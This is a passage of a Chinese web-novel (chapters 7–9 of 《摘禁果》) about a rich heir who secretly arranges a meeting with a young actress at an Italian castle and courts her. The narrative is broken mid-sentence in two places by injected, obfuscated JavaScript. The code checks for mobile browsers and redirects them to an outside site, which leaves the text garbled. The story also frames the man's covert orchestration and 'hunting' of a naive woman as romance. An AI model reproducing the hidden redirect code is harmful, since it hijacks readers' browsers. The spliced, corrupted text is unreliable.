《摘禁果》 7. 摘 贺驭洲有了印象。 原来那一次就见到了岑映霜。 陈言礼的母亲叶明珠也是一个很有名的画家,在意大利有一个大型工作室,跟陈言礼的父亲结婚后将生活和工作的重心都搬去了香港。 陈言礼在意大利完成留学深造后便继承了叶明珠的工作室。 去年有次贺驭洲正好在意大利出差,忙完之后打算找陈言礼一起吃个饭。 那个时候贺驭洲知道陈言礼其实正处于低谷期,很久都没有灵感,画不出东西,每天门也不出,就窝在画室里喝酒抽烟消靡度日。 谁知这一次去,推开陈言礼的画室门,并没有想象中的乌烟瘴气一片狼藉。 宽敞的画室明窗净几,墙上挂满了画,地上也乱中有序地摆了许多画。 一张靠墙立着的超大油画框,陈言礼站在油画框前正在作画,身上衣服满是颜料。他看上去还是很狼狈,中长的头发扎得很乱,脸色憔悴疲惫,眼下一片青黑,神情是严肃的,目光却显得格外激昂和亢奋。 贺驭洲走进来,他也没有丝毫的分神,连眼皮都没抬一下。 贺驭洲没上前打扰,悠然自得地欣赏着这画室的画。 风景和人物都有。 不过贺驭洲发现所有的人物画都是同一个人。 一个似乎年纪很小的小女生。 画里的她千姿百态。 有微笑的侧颜,有安静发呆的,有躺在沙发上恬静酣睡着的..... 他快速扫过,直至走到陈言礼身旁,看到了陈言礼正在画着的一幅。 画中的她穿着碎花裙,扎了两条麻花辫,光着脚站在花园里,一边给花浇水一边啃一颗红苹果。 她侧过头来,笑得比花儿还艳。 最后,陈言礼的画笔给这幅画命名。 是意大利文《Ragazzina》 翻译成中文——《少女》 的确是少女,一眼就能看出年纪很小,似乎跟贺驭洲的妹妹差不多大。 陈言礼放下画笔,全神贯注地盯着这幅画,长吁一口气,之前那紧绷的状态也不复存在,他从裤兜里摸出烟盒抽出两支烟,递给贺驭洲一支。 贺驭洲接过,衔在唇边,微低头去寻陈言礼递来的火。 “怎么样?”陈言礼请教的态度。 陈言礼属于印象派画风,色彩强烈又鲜明,大胆又细腻,精准拿捏光线在各种物体表面反射的色彩。 就比如这幅画,阳光从树叶缝隙中投射下来,细细碎碎的光影照在她的碎花裙和手中的红苹果上,在水管喷出的水柱下出现了一道彩虹。 写实主义和印象主义的融合,让人能非常直观地感受到一种真实又鲜活的生命力。 不得不说,画室里那么多幅,贺驭洲对这幅画倒是过目不忘。 “开个价。”贺驭洲吸一口烟,烟丝燃烧,尼古丁在口腔弥漫。吞云吐雾时侧目看陈言礼一眼,“卖给我?” 无需多言,贺驭洲的态度已经证明了这幅画的成功。 “能让你开价还真是让我受宠若惊,”陈言礼又笑了,贺驭洲有收藏画作的爱好,在艺术品上眼光十分独到。 他那表情似乎有些得意,“无价,不卖。” 陈言礼画过不少女性,可不管是谁,只画一次。 而画中的少女,却几乎占了他一整间画室。 贺驭洲倒也没再坚持,无所谓地耸耸肩。仍旧垂眸欣赏面前这幅画作,出声调侃:“这么多年不谈恋爱,换口味了,喜欢这样的?少女?” 贺驭洲口中的“喜欢”是何含义昭然若揭。 陈言礼并未立即回答,他沉默地抽了口烟,而后只说了句:“她是我的缪斯。” 答非所问,意味深长。 后来关于岑映霜的画的确没有一幅对外展示过。 当时的贺驭洲明显对陈言礼的私人感情生活和真实想法不感兴趣,漫不经心地回:“行,缪斯。” 可现在。 陈言礼口中的缪斯就在贺驭洲的眼前,就在接近半个月以前还出现在了他的梦里。 当时的确难以自控,陌生的感觉让他无所适从。 可也不以为意,冷静下来后便不认为这有什么特殊,繁忙的工作令他将这一插曲尽数抛之脑后。 然他万万没想到,她还会以这样的方式再次出现在他眼前。 那熟悉的失控感再一次将他席卷。 一次可以忽略,可任何事情都不能有一而再再而三。 他终于意识到自己不对劲。 “这条广告就是在你的岛拍的。” 陈言礼的声音将贺驭洲飘远的思绪拉了回来。 “是吗?”他的口吻不咸不淡,像是一点都不在意。 贺驭洲所表现出来的态度似是毫不知情,陈言礼也并没有多想什么,因为他多少清楚点贺驭洲的母亲和品牌方之间有点交情的事情,一座岛而已,他母亲完全做得了主。 “她还看到了你画的那副岩彩画。”陈言礼闲聊般笑着说,“跟我夸你画得特别好,问我你是不是很有名的画家。” 贺驭洲还是那两个字的回答:“是吗?” 可这一次看似轻描淡写的背后实则暗藏着一些讳莫如深的玄机,他的目光仍停留在闪动的广告牌上。 陈言礼杯中的酒还没喝完,他只浅浅抿一口,慢慢细品。对这一话题,贺驭洲言简意赅的态度让陈言礼自然而然理解成了意兴索然。 毕竟陈言礼很了解贺驭洲的脾性。 贺驭洲对女人对恋爱不感兴趣。 还记得去年贺驭洲来画室找他,看到岑映霜的画时,问他是不是喜欢这样的。 他并没有直接回答,而是将话题又抛了回去,“那你呢,单了28年,打算什么时候谈个恋爱?” 贺驭洲笑了声,在烟灰缸掸了掸烟灰,那模样看上去颇有些玩世不恭:“这世上比恋爱有趣的事多的是。” 贺驭洲生活在一个幸福的家庭,父母极为恩爱,几十年如一日从未变过,他却丝毫不在乎自己是否也能拥有一段刻骨铭心的爱情。 上学的时候该玩就玩,该叛逆就叛逆。工作之后却依旧能驾轻就熟地快速进入状态,业务能力相较于他爹贺静生也毫不逊色。 对他来说的确比情情爱爱有趣的事很多。 为了去世界尽头的南极看极光,花重金打造专属自己的探险游艇,能通达全球任何一个角落。 无意间被岩彩画吸引便在工作缠身的情况下挤出时间自学到炉火纯青,追求完美到必须亲自进山探矿寻找令自己满意的天然矿物颜料。 贺驭洲喜欢做的事情很多,全知全能,他像风一样自由。 强大的背景也给了他随心所欲的足够资本。 只要他想做的事,就没有做不成的。只要想得到的东西,就没有得不到的。 他从来都独善其身,潇洒专注地取悦自己。 自然不会对什么所谓的缪斯和一个小女生的事情感兴趣,所以陈言礼不动声色地转移了话题,问道:“什么时候回香港?” “原计划明天。” 贺驭洲又倒一杯酒,相较于陈言礼的慢慢细品,他倒显得有些狼吞虎咽,迫不及待。 耐人寻味地又补了下一句,“可现在发生了一件,改变我计划的事情。” 他凝神直视前方,连眼皮都没动一下。 --- 岑映霜短暂的假期结束了,她又开始进入到应接不暇的赶通告状态之中。 不过她和江遂安约定好了月底一起过生日,她就天天数着日子过,又觉得忙点其实挺好的,这样时间就会过得很快。 很快,就会到她生日那天了。 休假结束之后的第一个行程就是去意大利看她代言的跟香水同品牌的春夏高定大秀。 出发去机场的路上,路过了北城最大的一条商业街,一整条街全是奢侈品门店。 她代言的品牌logo最为扎眼奢华,派头十足。 logo上面还有一块很大的荧屏。 她代言的香水在昨天上市,昨天她从这里经过时,看见大荧屏上放着她的香水广告,下面还围了许多人在拍照打卡。 按理来说香水才刚上市,她的广告就会一直放的。 结果她发现今天已经换了别的广告。 岑映霜很是狐疑,正打算问一下旁边的曼姐,谁知曼姐不知道看到什么突然像炸锅了一样激动得很。 “霜!刚才品牌方那边说你代言的香水已经全部售罄了!” “啊?真的假的?”岑映霜目瞪口呆。 这才刚上市一天而已!怎么可能一下子就全部卖完了呢? “当然是真的!”曼姐强调。 岑映霜自然也是欣喜若狂,不敢置信极了。 “而且啊,你的广告宣传片也被买断了版权。”曼姐又说。 岑映霜又是一顿受宠若惊,“谁呀?” 难怪她的广告不见了,那都被买断了,岂不是白拍了,她的其他粉丝们都看不到了。 想到这儿,岑映霜就特别遗憾。 “不知道,品牌方没说。”曼姐不是很在意,只顾着高兴,“哎呀,肯定是你哪个土豪死忠粉呗。” 不过,对方来头肯定不小,连这种顶奢品牌的广告都有能力直接买断。看来对岑映霜很是痴迷。 “霜啊!瞧瞧你这带货能力!”曼姐使劲儿抱住岑映霜,骄傲得很,“我敢说圈里没人能强过你!” 曼姐想起什么,快速打开手机,“看看看,微博都爆了!” 岑映霜也跟着打开了微博。热搜前十条都是关于她的新闻。 全都在议论香水一夜之间售罄的事情。 而且品牌方并没有回应是否会再补货。 有一些在昨天买到香水的人说香水真的很好闻,水生调超级仙。 于是无数人都跳出来遗憾大喊说这香水才刚上市就成孤品了。 岑映霜晕晕乎乎的,整个人像是飘在了云端,又像是在做梦一样,不真实极了。 她知道自己的流量还可以,只是那也不可能发生这样史无前例的事情在她身上。 她觉得十分不可思议,甚至到了匪夷所思的地步。 不过就算再不敢置信也真真切切地发生了,她将那些顾虑都甩出脑海,慢慢平复自己高涨的情绪。 香水售罄事件一出,岑映霜的名气更上一层楼,妇孺皆知。 这一次岑映霜仍旧走的是vip通道。今天贺驭洲的那栋候机楼大门紧闭着,没有像上次那样有人拦截。 所以来机场送机的粉丝更是济济万人。甚至连保护她安全的工作人员都快要挡不住热情似火的粉丝们。 她连礼物和信都没时间收多少就被工作人员着急忙慌围簇着离开了。 到飞机起飞岑映霜都还没从刚才的阵仗里缓过神来,都已经入秋了,她却热得满头大汗。 落地罗马已经是12个小时以后了。 罗马当地时间下午五点。 一下飞机就出发前往品牌方提供的酒店。 岑映霜明明在飞机上已经睡了一路了,结果坐车没多久就又犯困睡过去了。 等睡醒之后正好到了目的地,她迷迷糊糊地下了车。 待看清眼前景象时,瞌睡虫瞬间跑得一干二净。 在她面前的不是想象中的酒店大楼,而是两座壮丽典雅的罗马式风格的城堡,建筑主体始于文艺复兴的罗马中世纪后期。 它们矗立在海岸之上。 她甚至能听到海浪拍打岩壁的碰撞声。 此时此刻正处黄昏时分。天边连绵不断的火烧云。 连神秘震撼的城堡都显得柔和了几分。 一时美得令她失语。 只是理智很快回归,意识到这肯定不是酒店,她问旁边的曼姐:“是不是走错地方了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031534|178642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没有啊,是这个地址。”曼姐说。 而且看秀的秀场是在罗马市中心,这里都有海了,一看就知道是在郊外来了。 这时,一个穿着职业装的女人带着几个佣人走了出来,她面带十分友善的微笑,明明是个欧洲女人一开口却说的是中文:“岑小姐,您好,我是这里的负责人,我带您去您的房间。” 看来真是品牌方安排的了? 这品牌方是下血本了?这一次找了这么一个古老又豪华的城堡。 两个佣人走到保姆车后备箱拿出了岑映霜的行李。 她跟着管家往城堡里走。 而曼姐竟然被佣人带去了另外一栋城堡,两人分道扬镳。岑映霜没多问,品牌方这么安排她也不好说什么。 走进城堡。 扑面而来的仍旧是浓郁的古老历史气息,法式洛可可风和哥特风相融合,奢靡的极繁主义体现得淋漓尽致,唯一不同的是,屋子里的色彩感很强烈,朱砂红的墙壁和地毯。 上了三楼,走廊里也并不是挂着欧洲油画。 而是挂着一副国风画。 一条白色的龙在波涛汹涌的海里游动,搅弄风云。 她定住脚步,多看了两眼。 这独特的色彩肌理让岑映霜一眼就认出来这是岩彩画。 看上去应该跟斐济别墅里的那一幅画是出自同一个作者之手。 岑映霜兴致勃勃地问女负责人:“你好,请问你知道这幅画的作者是谁吗?” 女负责人保持微笑,答非所问:“岑小姐,您的房间就在这一间。” 和那幅画正对的房间。 岑映霜应道:“好,谢谢。” 她想,或许这个女负责人也不知道画的作者是谁吧。 佣人提着她的行李走进房间。 “放这儿吧,我自己收就好。”岑映霜说,“麻烦了。” “好的,岑小姐。”女负责人说,“有其他需要请叫我。” 女负责人离开时轻轻带上了房门。 岑映霜将整个房间环视一圈。 只有一个感觉,历史气息太重了,像一朝穿越真回到了古老的罗马中世纪。 她其实有点害怕住这种老房子。 连忙走到窗户边将窗帘全都拉开,屋子里瞬间涌进来大片橙红光线。 “哇,好漂亮啊!”整个世界都像是橙红色的,她看着天空中的火烧云惊叹。赶紧拿出手机拍照记录。 恐惧感终于消散。 虽然住在三楼,可是层高足够高,这里的视野十足广阔,她看到前面还有一个很大的花园。 花园中央有一颗果树,树干很粗,应该是有许多年份了,结满了红色的果子。 但这时候岑映霜意识到不对,因为这偌大的城堡,怎么除了她的保姆车之外连其他一辆车都没看见? 而且从她走进城堡,除了佣人和女负责人之外她没有见到其他任何人。 这方圆十里也是如此,可以用荒凉来形容。不见其他任何人烟。 难道是其他人还没来入住吗?她来早了? 岑映霜没有再多想。她去了浴室,放了一浴缸的水,架子上摆着各式各样的精油,上面不知道是法文还是意大利文,她看不懂,只打开一一闻,闻到自己喜欢的味道就往水里滴了些。 浴室的对面就是无边无际的海,没有任何建筑,所以浴缸就摆在半开放的窗户边,以便于欣赏海景。 趁着现在晚霞还在,她抓紧时间泡个饱眼福的澡。 照常是拿出自己的泡澡搭子,在机场收的粉丝手写信。 不好意思麻烦女负责人给她准备水果,便从行李箱里翻出来一根无糖棒棒糖。 她坐在浴缸里,半趴在窗边,嘴里含着糖,慢慢看信。 看得却是心不在焉,因为眼前的景象实在太美了,占据了她的所有注意力。 正当她沉浸式欣赏美景时,一阵晚风忽而吹过,手中的信就这么猝不及防被风卷走。 岑映霜如梦初醒,先是往下望了望,发现信往花园的方向飘去。 然后想也没想就起身,从浴缸中出来,匆忙擦擦身上的水回到卧室,随便翻出一套衣服穿上就跑下楼去。 来到花园,开始地毯式搜寻她的信。 这里的绿化也是复杂得很,枝繁叶茂,眼花缭乱。再加上现在天色渐晚,光线也暗,找起来太费劲。 就在她打算摸出手机打手电筒时,身后不远处忽然响起了一道声音:“在找这个?” 这道声音出现得太过毫无征兆,岑映霜整个人条件反射地抖了一下,嘴里的棒棒糖都差点掉出来,幸好含住了,也成功噎到自己,咳嗽一声,索性从嘴里拿出来。 还没来得及转身,就又传来一句:“抱歉,吓到你。” 岑映霜刚平复好的情绪,却因为听清这声音的声线而再次有了起伏。 是个男人的声音。 是一道特别好听的声音。 低沉醇厚,谦和轻淡,极有辨识度。 那道声音似乎离她越来越近。 岑映霜缓缓转过身,在看清来者之人之际瞬间怔住,一时连眼睛都忘记眨。 面前的男人身形十分高大,他穿浅棕色的长大衣,肩膀又平又宽。头发很短,戴一副银框眼镜。 他正朝她走来,连走姿都好看到每一步都像T台上的模特。 最令她失神的是他那张脸。 好看到她竟然不知该如何用言语来形容。 大概,大概就好比.....文艺复兴时期的完美雕塑。 可伴随着他距离她越来越近,岑映霜忽然觉得有一种说不上来的熟悉感。 直至他停在她面前,修长的指间夹着那张手写信纸,正要递给她时。 岑映霜瞬间灵光一闪,终于从他的走姿对应上了一个身影。 “你是….”她一时惊讶到脱口而出:“贺驭洲?!” 8. 摘 岑映霜这猝不及防的一声,倒真是让贺驭洲始料未及。 “你认识我?”贺驭洲饶有兴致挑起眉,问道。 印象中只有背影的人,此时此刻就全面呈现在岑映霜的眼前,尤其是终于看到了这张令她好奇的脸。 好奇心成功得到了极大的满足,甚至无限地超过了期待值,岑映霜一时激动不已,所以说的话也没有过脑子,像个初生牛犊不怕虎、童言无忌的小孩子,“你可是首富诶!谁能不认识你呀!” 她这样的反应,的确是出乎贺驭洲的预料,因为除了自己的家人,没有人敢这么毫无顾忌地跟他讲话。 他甚至刚刚还在想,该用怎样的方式让自己显得更为随和一点,让她放低一些防备警惕和对他的陌生感。 谁知她比他在网络上看到的她还要更活泼开朗些。 她给人非常直观的一个感触就是———— 很单纯,单纯得像一张白纸。 方才的顾虑显然多余,倒省了他不少事儿。 贺驭洲垂眸看着她,勾了勾唇角淡淡地笑,不假思索:“你是岑映霜。” 这回换岑映霜惊讶了,几乎失去了表情管理:“你认识我?!” 她实在是个太简单的人,简单到好似清澈的河水,让人能一眼望到底。 她那双眼睛特别好看,眼珠子又圆又黑,玻璃球似的晶莹又剔透。 贺驭洲还是盯着她那双令人赏心悦目的眼睛,故意学着她刚才的口吻:“你是这么有名的大明星,谁不认识?” 岑映霜几乎一下子破功,噗嗤一声笑出来,笑起来的样子毫不避讳,露出了标准的八、九颗洁白牙齿,她粉黛未施,唇色却还是红润有光泽,嘴唇不厚不薄恰到好处,唇角边还有若隐若现的小梨涡。 等她回过神来时才意识到自己笑得有多夸张,刚打算收敛,却发现贺驭洲在盯着她看,他的神情淡然,目光似悠远的山谷,平静神秘却又十分专注,一双细长的眼睛深沉浓郁,眉宇间却是柔和的,薄唇微抿,似乎带着不太明显的笑意。 岑映霜一直以为像贺驭洲这种人肯定是令人望尘莫及的,他与普通人之间的差距仿佛是一道巨大的鸿沟。 然而却出乎她的意料。他很随和且平易近人。也通过刚才得知,他还很幽默风趣。 本来刚刚说完“你可是首富,谁不认识”之后她就意识到自己是不是有所冒犯和有失礼数,因为实在太过自来熟了一点,虽然她的确属于自来熟的e人性格。但毕竟他们不熟,可以说是陌生人,而且他还是那般了不起的大人物。 如果曼姐知道了,肯定是要狠狠教训她一通说她情商堪忧。 他跟她想象中的完全不一样。 好像平易近人到没有任何距离感。 殊不知此时此刻贺驭洲盯着她的笑容、盯着她的嘴唇看时,心里想的全是陈言礼画的那副画,以及之前做的那个梦。 在想,当时的她是不是也在陈言礼面前笑得这般肆意。 他们在海里相遇的那天。梦里的她游到他的面前,吻他的唇,渡给他氧气。 那时自己不以为然,可现在的他却总是情不自禁看她的嘴唇。 在想。 吻起来,会是什么感觉。 “在找这个?” 贺驭洲敛下思绪,将手中的信纸递过去。信纸夹在他指间,是对折的,看不见一点信中的内容。 “是!”岑映霜兴高采烈地接过,打开看了看,“是我粉丝给我写的信,幸好找到了。” “谢谢你。”她昂起头看贺驭洲,又是自己惯有的灿烂甜美笑容,小鹿眼弯弯如月。 “不客气。” 很神奇,跟她说话时,贺驭洲竟然会不自觉地放轻声音。 这时,岑映霜忽然意识到什么,朝他眨巴眨巴眼,试探般问:“你看到这里面的内容了嘛?” “人在捡东西的时候都会下意识查看物品内容。”贺驭洲直言不讳,“人之常情,无法避免。” 岑映霜又问:“那你......看了多少呀?” 贺驭洲镜片下的眼睛微眯,作出思考状:“TO 亲爱的可爱的最爱的霜霜宝宝,今天又是好想你的一天,不知道你还记不记得我,我就是那个送你最爱的香蕉牛奶的人。” 岑映霜怔了怔。看着他的样子显得有些呆。 贺驭洲垂眸凝住她眼睛,补充道:“就看到这里。” 她没有回应,他便又说:“如果冒犯到你,我很抱歉。” 他的姿态十分谦逊有礼。 岑映霜这才灵魂归窍般醒过神来,立刻用力摇头,都摇成了拨浪鼓状。 “没有没有。”只是内心确实庆幸,幸好他没有看完,因为这封信里粉丝说了很多关于粉丝自己隐私的事情,到底不能让第三个人知道,这样显得很不尊重人。 刚刚走神。 是因为贺驭洲不急不缓的语速,慵懒的调子,低沉的嗓音。说出这些写给她的肉麻句子,她竟然本能地害起臊来了,耳朵根儿都热了。 作为声控的她,着实得到了大大的满足。 在父母的影响和教育下,岑映霜是个很喜欢表达的人,于是她便十分诚实地说道:“我是觉得你的声音好好听。” 贺驭洲也从来不缺这些过于浅显又平常的夸奖。 可这回,换贺驭洲怔忪。 他的眉毛不易察觉地挑动一下,沉默好几秒钟,这才漫不经意地耸耸肩膀,眼尾衔着笑:“过奖。” “而且,你是我见过的长得最好看的人了。”她又来一句,滔滔不绝,“其实我在斐济看到过你好几次,还有纽约也是。刚刚我之所以认出你,那是因为我认得你的走姿,你走路也特别好看,是我见过的走路最好看的人了。” 这一句的杀伤力显然比刚才那一句更胜一筹。 光靠一个背影,一个走姿就能在不知面貌的情况下认出他。 换做别人,说这种话,别有心思毋庸置疑。可她夸奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他垂眸直视她,氤氲光线照不进半分漆黑的瞳孔,幽深得像万丈深渊,一双眼好似能勾魂摄魄,危险噬骨的侵略性快要掩不住,偏偏他整个人仍旧从容不迫,漫不经心。 “大概这是天意吧。”他淡淡笑着回答她的问题。 天意。 这两个字。 此时此刻的岑映霜绝对想不到在不久后的某一天,也会从他嘴里听到关于这两个字。 他会告诉她。 罗马的相识不是偶然。 一切都是他精心安排。 唯一的意外是那一阵晚风。 吹走了她的信,将她提前送到了他的面前。 他还是在笑,与今晚的神情如出一辙,却让她不寒而栗。 他说——— 你看,我们注定要在一起。 这是天意。 9.摘 岑映霜就这么看着贺驭洲摘下了两百年年寿果树结下的果实。 “这真的能摘吗?”摘下时听到“嚓”的一声,岑映霜心都紧了一下,连忙四周张望看有没有第三个人在场,就算原先这是野生苹果树,可毕竟现在这棵树是长在这座城堡花园里的,没有经过城堡主人同意就摘了果子,会不会有什么麻烦? 看她那谨慎又紧张的样子,贺驭洲鼻腔不由溢出一声笑,“我在这儿,你怕什么?” 此话一出,岑映霜明显瞬间放松了下来。她怎么就忘了,贺驭洲这样的身份地位,别说摘个苹果,就算买下整栋城堡也轻而易举。 思及此,她没有了任何心理负担,喜滋滋地接过贺驭洲递来的苹果,“干嘛要摘呀?” “你不是想知道是不是有什么不一样?”贺驭洲唇角仍衔着懒散的笑意,不知是不是被她童言无忌天真烂漫的言论逗笑,“长生不老,超凡力量?” 没想到她随口一句话他便记住了。 此话一出,岑映霜将手中攥着的棒棒糖重新塞进嘴里,然后将苹果用双手托住。 非常大一颗,沉甸甸的。颜色非常红,很浓很正的红,没有现在市场面的苹果打了蜡之后的加工感。 是纯天然的颜色。 岑映霜捧着这颗苹果,360度无死角地观察,全神贯注,屏息凝神。 不知道为什么,她竟然猝不及防地起了一身的鸡皮疙瘩。 大概想到这是一颗两百年苹果树结下的果子就觉得神奇吧。 胳膊上汗毛竖起,她下意识地抖了一下。 “冷?” 刚听到贺驭洲的声音,肩膀上就压下来一点重量,顷刻间被暖意笼罩,这样的暖意是来自身体的体温。 他脱下了他的大衣披在了她的肩上。 “不是。我不冷......” 岑映霜摇头说着的同时想把大衣脱下来,肩膀上的重量就更重。 是他的手摁住了她的肩膀,阻止了她脱下的动作。 “不冷也穿着。”贺驭洲面上一如既往的闲适与平淡,举止和语气却不由分说。 而后又怕自己的态度显得太强硬惊动这条自己暗中觊觎的小白兔,便再柔着调子补了一句:“昼夜温差大,容易着凉,尤其这里是海边。” 他说话时,手还按着她的肩膀,力度似乎在一点点收紧。 在披上他的大衣前,她就只穿了一件圆领卫衣,领口刚好挡住了锁骨,只露纤长的天鹅颈。 哪怕隔着衣料,他也能感受到她骨骼的纹路。骨架小,肩膀很薄,甚至能在脑海中描绘出她锁骨的流畅线条。很柔弱,在他的掌心下,都不能有太重的力道,似乎稍不注意就能揉碎。 内心似有矛盾的两股一正一邪的力量在对抗,前者是告诫自己这娇弱的小身板经不住折腾,后者又有一股越羸弱就越想破坏的恶趣味。 不紧不慢地几秒钟后,他迟来的分寸才令他收回手。 然握过她肩膀的手悄无声息蜷缩,缓缓摩挲指腹。 喉咙仿佛有了一种紧迫感,又有一些无端痒意。他连呼吸都觉得艰难,只能不动声色地启唇吸入更多空气,压制住那一股隐隐起势的躁动。 “那你呢?”他的绅士行为即便是出于礼貌与教养,可岑映霜还是很过意不去,毕竟意大利夜晚的温度只有十几度,“你不冷吗?” 脱掉了大衣,贺驭洲上身只有一件浅灰色的针织衫,搭配一条白色休闲西裤。浅色系的穿搭整个人显得十分温润斯文。 他的针织衫很薄,似有若无地贴在肌肤上,隐隐透显出他的肌肉线条。 岑映霜知道他的身材很好,肌肉也蓬勃。毕竟见过他穿潜水服的样子。 只是此时此刻,他就近在眼前,一切都非清晰明了。 不论是站在主观还是客观的角度都只有一个答案,那就是他的身材当真是好到令人发指。 并不是现下时兴的薄肌感,而是非常直观且一目了然的满到快要溢出来的男性荷尔蒙,即便隔着衣服也能看出他的肌肉可能已经到了夸张的地步,类似欧美人的体格,骨架大,胸肌厚,肌肉纤维与寻常人不同。 胳膊很粗,薄而宽松的针织衫也能被撑得满满当当,显现出块块分明的腹肌肌理。 上半身明明那么强壮偾张,但腰身却窄得出奇,再往下就是一双长到逆天的腿。 他身高优越,所以就算他的肌肉这般夸张发达也并没有一点突兀违和,整体十分协调。 浅色系的穿搭加上银框眼镜显得他斯文儒雅,可矛盾的是他很短的短寸以及他的身材给人的感觉却又是那般阳刚雄壮,周身散发着的是一个男人最原始的雄狮般的野性与旺盛分泌的荷尔蒙气息。 岑映霜还是头一次见着这堪称天花板的肌肉身材。 心里忍不住腹诽,这上天到底给他关了哪扇窗啊? “我不冷。”贺驭洲又抓着他的大衣衣领,将披在她身上的大衣罩得更严实了一点,“你披好就行。” 刚才全部注意力都在手中的苹果上,这会儿他忽然用大衣将她裹得更紧,她被团团包围。 大衣上的气息瞬间接踵而至。 她迟疑一秒,又低头,鼻尖贴上大衣衣领,仔细嗅了嗅。 闻出来这瓶香水是水生调,不似其他香水还未靠近香气就飘过来浓得让人头晕发闷,而是淡到只有在很近的距离或者擦肩而过之际才会探寻到它的踪迹,淡而久久散不去。 让人很舒服的香味。 她确定,这是她代言的香水。 但是,她发现了关键点,那就是,这是女香啊。 他怎么会用女香? 那就只有唯一一种可能。 抬眼看贺驭洲时,铺满意外之惊:“你女朋友用的是我代言的香水诶!” 他并不惊讶她发现这香味来自她代言的香水,她能有这样的猜测也的确在情理之中。 贺驭洲站在她面前,站姿慢慢松散下来,肩膀仍旧挺阔,一只手插进裤兜,微歪了歪头,似端详似玩味地看着她,“我还没有交过女朋友。” 这回答倒是出乎岑映霜的意料,可以说颠覆她的认知。 贺驭洲无论家世背景还是个人能力,亦或者是外貌形象都是登峰造极的存在。怎么可能还没有谈过恋爱啊。 岑映霜干巴巴地眨着眼睛沉默了好一会儿,这才开口:“能问一下你今年多大吗?” “二十有八。”贺驭洲答。 她最初明显诧异,第一反应是——他竟然才28,还这么年轻。 而后又思绪徒转,变成质疑——都28岁了还没交过女朋友? 贺驭洲清楚地看见她的表情所发生的变化有多精彩,一张粉粉润润的嘴唇张张合合欲言又止,最后一句话没说。 嘴里含着棒棒糖,腮帮子鼓出来一块,像藏了食的花栗鼠。 “怎么?”贺驭洲问,“有话可以直说。” 岑映霜嘴里的棒棒糖从左边换到了右边,犹豫一番还是没开口。 “刚才不是很能表达?”贺驭洲的声调像是涓涓细流的溪水,温柔而缓和,耐心引导,“想说什么就说什么,别辜负这个你本该畅所欲言的年纪。” 刚才的表达是夸奖,可她这回的想法却多多少少有点无礼,即便她知道贺驭洲是个平易近人的人,但不代表可以任人触探自己的隐私。 “那什么年纪就不能畅所欲言了?”事实证明贺驭洲的话的确引导性十足,成功勾起了她的求知欲与好奇心,顺着他的话问道。 “别人我不清楚。”她是温室里的花朵,大抵是不懂这社会中的复杂规则与人性,他怎么忍心破坏她的童话世界,模棱两可地做出回答,随即话锋一转,“但你可以一直保持,至少在我面前。” 停顿了半秒,他怕她有心理负担,很是真诚地补充一句:“我脾气还行,所以你不必顾忌。” 他姿态谦逊,笑得好似慈悲,包容心能海纳百川,无所谓耸肩的动作却又不失一些落拓不羁的幽默松弛感。 殊不知,这话要是让别人听了去,能惊掉对方下巴。 贺驭洲的确是个有教养彬彬有礼的人,但他绝对不是他口中所说的“脾气还行”的人。除了家里人,但凡跟他接触的人,哪个不是斟字酌句,三思而后行的,唯恐稍有不慎就惹他不快而引火烧身。 岑映霜多天真,自然信以为真。 也成功被他引导到了他想要达成的效果,她卸下刚才的防备和顾虑,先是发出“hummm”小牛哞哞一样的思考声,组织了一下语言和措辞这才说道:“因为你看起来像头上有一扫把红线的人,感觉每根头发丝都有女朋友。” 她这一番堪称离谱的言论,惹得贺驭洲哭笑不得,笑得肩膀都颤动,垂眸凝住她,“我看上去就这么不靠谱?” “不是.....”岑映霜本能地否认。 然而在否认之后又久久没有再说话。 就只有这么苍白的两个字,贺驭洲还以为她至少会再挣扎着解释一番却没有听到下文,便追问:“没了?” 岑映霜温温吞吞地点头。 贺驭洲又失笑,语气从容却又严肃:“人并不是一定要恋爱,这完全取决于个人价值观。” 岑映霜抬头认真听他讲话,眼眸清亮,像一只乖乖受训的小奶猫。 贺驭洲眸中凝起一点亮,变得深邃柔软,忍住想要揉头顺毛的冲动,意味深长地给出下一句:“但不代表我之后不会有女朋友。” “当然,只会有一个。”他似乎在强调,“头发丝再多,也只会有一个。” “.......” 岑映霜顿时忍俊不禁,没想到他还是个挺会接梗的人。 但这番言论她听得倒是晕晕乎乎,不以为然。慢吞吞地礼貌点头表示认同他所谓的人生价值观。 然而小犟种还在纠结,关注点仍在香水上,“可你用的是女香诶。” “嗯?你不能性别歧视,有谁规定男人不能用女香?”贺驭洲胸腔中震出来的笑声不断,他忍不住抬起手臂,食指轻轻似有若无地轻点了下她的脑袋瓜,循循善诱:“换个角度想想,就不能是你的优秀吸引了我买这瓶香水?” 这话是非常直白的夸奖,岑映霜反倒热了脸颊。 羞赧地缩了缩脖子,十分不好意思地干咳一声,“那.....谢谢你的支持。” 怎么都没想到,大名鼎鼎的贺驭洲竟然是她的粉丝。 要是曼姐知道了那不得拿着大喇叭狂喊三天三夜。 他的话似是而非耐人寻味,而她完全不会往更深一层去想。贺驭洲觉得无奈的同时又觉得很是有趣。 这样也挺好。 狩猎享受的是过程,布局、收网,得到猎物那一刻的成就感才是肾上腺素飙升的最大快感。 他现在该做的是,要有耐心。 “那你呢,谈过恋爱了?”贺驭洲的目光还是黏在她身上,顺着这个话题状似无意地试探。 闻言,岑映霜耳朵尖儿上的红似乎更浓了一点,可这细微的变化建立在刚刚因为贺驭洲的夸奖而害羞的基础上,所以掩饰性极强,让人察觉不到半分其中微妙。 她的语气还是慢吞吞:“我也还没有呢。” 心里却是甜滋滋,她想.....应该快了吧。 